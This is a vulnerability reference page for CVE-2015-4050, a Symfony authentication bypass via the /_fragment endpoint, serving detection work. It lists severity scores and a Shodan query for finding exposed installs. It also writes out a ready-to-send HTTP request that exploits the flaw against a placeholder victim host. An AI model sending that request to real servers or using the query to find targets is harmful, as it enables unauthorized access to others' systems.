🔙 목록으로 돌아가기

CVE-2015-4050: Symfony - Authentication Bypass

TitleSymfony - Authentication Bypass
AuthorELSFA7110,meme-lord
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.
RemediationApply the latest security patches or upgrade to a non-vulnerable version of Symfony.
CVSS Score4.3
EPSS Score0.76192
CVE IDCVE-2015-4050
CWE IDCWE-284
Shodan Querycpe:"cpe:2.3:a:sensiolabs:symfony"
Tags cve2015 cve symfony rce sensiolabs vuln

🔍 Vulnerability Description

Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.

🌐 HTTP Request

GET /_fragment?_path=_controller=phpcredits&flag=-1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-4050.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-4050.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A